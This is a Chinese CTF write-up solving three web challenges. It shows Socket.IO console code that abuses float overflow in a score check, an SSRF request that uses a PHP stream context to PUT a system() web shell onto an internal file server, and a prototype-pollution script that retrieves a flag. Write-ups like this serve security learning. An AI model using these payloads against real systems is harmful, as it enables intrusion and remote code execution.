GuessOneGuess
// 1. 加载库
if (typeof io === 'undefined') {
const script = document.createElement('script');
script.src = 'https://cdn.socket.io/4.7.2/socket.io.min.js';
document.head.appendChild(script);
}
// 2. 建立连接
setTimeout(() => {
window.socket = io('http://127.0.0.1:46227/', { transports: ['websocket'] });
console.log('[√] 连接已建立');
}, 3000);
// 3. 发送100次错误猜测
for (let i=0; i<100; i++) {
setTimeout(() => window.socket.emit('guess', { value: 50 }), i*50);
}
// 在控制台立即执行
socket.emit('punishment-response', { score: "-Infinity"});
console.log('[+] 恶意分数已发送');
socket.emit('guess', { value: 77 });
结果可在 f12-network 里面刚刚构建的 ws 连接看到
chrome 浏览器 f12 如何查看 websocket 消息?_f12怎么查看websocket消息-CSDN博客
分数要大于1.7976931348623157e308
才会给flag这个数恰恰是js中Number.MAX_VALUE
,但是如果超过这个值就会变成Infinity
,只有Infinity>Number.MAX_VALUE
才是true
,
后端监听的'punishment-response'
执行totalScore -= data.score;
,而data是前端可控的,
但是直接socket.emit('punishment-response', { score: -1.8e308 });
只要这个数大于Number.MAX_VALUE
(我们这里称为Infinity
),实际就是socket.emit('punishment-response', { score: -Infinity });
会失败,原因是
Socket.IO 在传输数据时使用的是 JSON 序列化。如果值是 Infinity
、-Infinity
或 NaN
,这些是 不能被 JSON 表示的,会被序列化成 null
JSON.stringify({ score: -Infinity }); // '{"score":null}'
所以得让Socket.IO传输的时候正常传(不被序列化为无效值)
这里的解决办法是{ score: "-Infinity" }
(字符串)或者发-1e308
(小于Number.MAX_VALUE
)多发几次后端一运算还是Infinity
socket = io();
//socket.emit('punishment-response', {
// score: "-Infinity"
//});或者下面的
socket.emit('punishment-response', {
score: -1e308
});
socket.emit('punishment-response', {
score: -1e308
});
//猜对这里可二分法猜,手试二分法也ok,其实for循环爆也型
for(var i=0;i<100;i++)
socket.emit('guess', {
value: i
});
socket.on(
'game-message',
(data) => {
console.log(data.message);
});
塞控制台运行
Miniup
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];
if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}
$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}
$response_data['paths'] = $filtered_paths;
echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';
echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>迷你图片空间</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background-color: #f0f8ff;
}
.section {
margin-bottom: 30px;
padding: 15px;
border: 1px solid #add8e6;
border-radius: 5px;
background-color: white;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
h2 {
margin-top: 0;
color: #4682b4;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
color: #4682b4;
}
input[type="text"], input[type="file"] {
width: 100%;
padding: 8px;
box-sizing: border-box;
border: 1px solid #add8e6;
border-radius: 4px;
}
button {
padding: 10px 15px;
background-color: #4682b4;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #5f9ea0;
}
.result {
margin-top: 15px;
padding: 10px;
border: 1px solid #add8e6;
border-radius: 4px;
background-color: #f0f8ff;
display: none;
}
pre {
white-space: pre-wrap;
word-wrap: break-word;
background-color: #f5f5f5;
padding: 10px;
border-radius: 4px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<h1>迷你图片空间</h1>
<div class="section">
<h2>上传图片</h2>
<form id="uploadForm" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label for="file">选择图片:</label>
<input type="file" id="file" name="file" required>
<small>支持所有类型的图片</small>
</div>
<button type="submit">上传图片</button>
</form>
<div id="uploadResult" class="result"></div>
</div>
<div class="section">
<h2>搜索图片</h2>
<form id="searchForm">
<input type="hidden" name="action" value="search">
<div class="form-group">
<label for="query">搜索关键词:</label>
<input type="text" id="query" name="query" required
pattern="[a-zA-Z0-9]+"
title="只允许输入数字和字母"
placeholder="输入图片关键词(仅限数字和字母)">
</div>
<button type="submit">搜索</button>
</form>
<div id="searchResult" class="result">
<h3>搜索结果:</h3>
<div id="searchResultContent"></div>
</div>
</div>
<div class="section">
<h2>查看图片</h2>
<form id="viewForm">
<input type="hidden" name="action" value="view">
<div class="form-group">
<label for="filename">图片路径:</label>
<input type="text" id="filename" name="filename" required placeholder="输入图片路径">
</div>
<button type="submit">查看图片</button>
</form>
<div id="viewResult" class="result">
<h3>图片预览:</h3>
<div id="fileContent"></div>
</div>
</div>
<script>
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = data.message;
resultDiv.style.color = data.success ? 'green' : 'red';
})
.catch(error => {
var resultDiv = document.getElementById('uploadResult');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '上传过程中发生错误';
resultDiv.style.color = 'red';
});
});
document.getElementById('searchForm').addEventListener('submit', function(e) {
e.preventDefault();
var searchQuery = document.getElementById('query').value;
var alphanumericRegex = /^[a-zA-Z0-9]+$/;
if (!alphanumericRegex.test(searchQuery)) {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>';
return;
}
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
if (data.success) {
try {
var jsonData = JSON.parse(data.result);
if (jsonData.paths && jsonData.paths.length > 0) {
var resultHtml = '<table style="width:100%; border-collapse: collapse;">';
resultHtml += '<thead><tr style="background-color: #f2f2f2;">';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>';
resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>';
resultHtml += '</tr></thead><tbody>';
jsonData.paths.forEach(function(item) {
var date = new Date(item.mtime);
var formattedDate = date.toLocaleString();
var fileSize = formatFileSize(item.size);
resultHtml += '<tr style="border: 1px solid #ddd;">';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>';
resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">';
resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>';
resultHtml += '</td></tr>';
});
resultHtml += '</tbody></table>';
document.getElementById('searchResultContent').innerHTML = resultHtml;
} else {
document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>';
}
} catch (e) {
document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>';
}
} else {
document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>';
}
})
.catch(error => {
var resultDiv = document.getElementById('searchResult');
resultDiv.style.display = 'block';
document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>';
});
});
document.getElementById('viewForm').addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(this);
fetch('index.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
if (data.success) {
var fileContentDiv = document.getElementById('fileContent');
fileContentDiv.textContent = '';
var img = document.createElement('img');
img.src = data.base64_data;
img.style.maxWidth = '100%';
img.style.display = 'block';
img.style.margin = '0 auto';
fileContentDiv.appendChild(img);
} else {
document.getElementById('fileContent').textContent = '错误: ' + data.message;
}
})
.catch(error => {
console.error('错误:', error);
var resultDiv = document.getElementById('viewResult');
resultDiv.style.display = 'block';
document.getElementById('fileContent').textContent = '获取图片时发生错误';
});
});
function formatFileSize(bytes) {
if (bytes === 0) return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
function viewFile(filename) {
document.getElementById('filename').value = filename;
document.getElementById('viewForm').dispatchEvent(new Event('submit'));
}
</script>
</body>
</html>
stream_context_create()
:该函数的用途是创建一个自定义的上下文,这个上下文可以对文件流或者网络请求的行为进行修改。$_POST['options']
:这是从客户端表单提交过来的数据,一般是一个数组,数组里包含了诸如 HTTP 请求头、超时时间等选项。@
:它是错误抑制符,其作用是在创建上下文失败时,避免 PHP 抛出警告信息。file_get_contents($filename, false, ...)
file_get_contents()
:此函数的功能是把整个文件读取到一个字符串中。
$filename
:它代表要读取的文件路径,这个路径是从客户端传递过来的。
false
:该参数表明不使用包括路径和文件名的前导目录。第三个参数就是前面创建的自定义上下文,借助这个上下文可以对读取行为进行定制。
- 设置请求方法为 PUT
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
- 功能:指定 HTTP 请求方法为 PUT(用于向服务器上传资源)
- 注意:PUT 方法通常用于覆盖已有资源,需确保服务器支持此方法
2. 设置请求体内容
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
- 功能:将文件内容作为请求体发送
- 潜在问题
- 若
$file_content
过大(如超过 PHP 内存限制),可能导致内存溢出- 未设置
Content-Type
头,服务器可能无法正确解析文件类型3. 设置返回响应结果
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- 功能:将 cURL 请求的响应结果作为字符串返回,而非直接输出
- 必选:否则响应会直接输出,无法被后续代码处理
4. 设置 HTTP 请求头
curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Host: ' . $dufs_host . ':' . $dufs_port, 'Origin: http://' . $dufs_host . ':' . $dufs_port, 'Referer: http://' . $dufs_host . ':' . $dufs_port . '/', 'Accept-Encoding: gzip, deflate', 'Accept: */*', 'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'Content-Length: ' . strlen($file_content) ]);
各请求头解析:
- Host:指定请求的目标主机和端口
- 潜在问题:若服务器配置了虚拟主机,可能导致请求被拒绝
- Origin/Referer:标识请求来源
- 通常用于跨域请求验证
- 可能被服务器用于访问控制(如防盗链)
- Accept-Encoding:告知服务器支持的内容编码(压缩方式)
- 若服务器返回 gzip/deflate 压缩内容,需额外处理解压缩
- Accept:指定客户端接受的响应内容类型
*/*
表示接受任意类型,可能不符合服务器预期- Accept-Language:指定客户端偏好的语言
- 影响服务器返回的语言版本(若支持多语言)
- User-Agent:模拟浏览器标识
- 可能被服务器用于识别客户端类型
- 固定值可能导致服务器识别为爬虫而拦截
- Content-Length:指定请求体的字节长度
- 必选头,若缺失或错误可能导致请求失败
这里我们看有dufs服务作为文件存储,再看最后查看图片的file_get_contents方法,有stream_context_create可以仿真http请求,也就是说前面的filename如果是url,后面的参数可以仿真其请求
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
$dufs_host = '127.0.0.1';
$dufs_port = '5000';
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');#PUT 请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
stream_context_create到底是干什么的?_php创建文件流stream-CSDN博客
POST /index.php HTTP/1.1
Host:127.0.0.1:27694
Content-Type: application/x-www-form-urlencoded
action=view&filename=http://127.0.0.1:5000/pass.php&options[http][method]=PUT&options[http][content]=<?php system($_GET['pass']);?>
Clickclick
当amount >= 1000时会触发点击过快,而amount >=10000时才返回flag
打开源代码发现一条红色的代码belike
ar gn = Tt("<p>什么叫“前后端分离”啊?(战术后仰)</p>")
, bn = Tt("<pre></pre>")
, En = Tt('<main><h1>Click and Click</h1> <div class="card"><!></div> <p>Click 10000 times, and something appear.</p> <!> <!></main>');
...
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
{"type":"set", "point":{"amount":-1}}显示hacker
{"type":"set", "point":{"amount":10000}}显示你按的太快了
import requests
base = "http://127.0.0.1:33595"
payload = {"type":"set", "point":{"amount":0,"__proto__":{"amount":100000}}}
resp = requests.post(base + "/update-amount", json=payload).text
print(resp)
miniLCTF{675bb19a-6fe3-0f7f-9243-aff72d5a3a4c}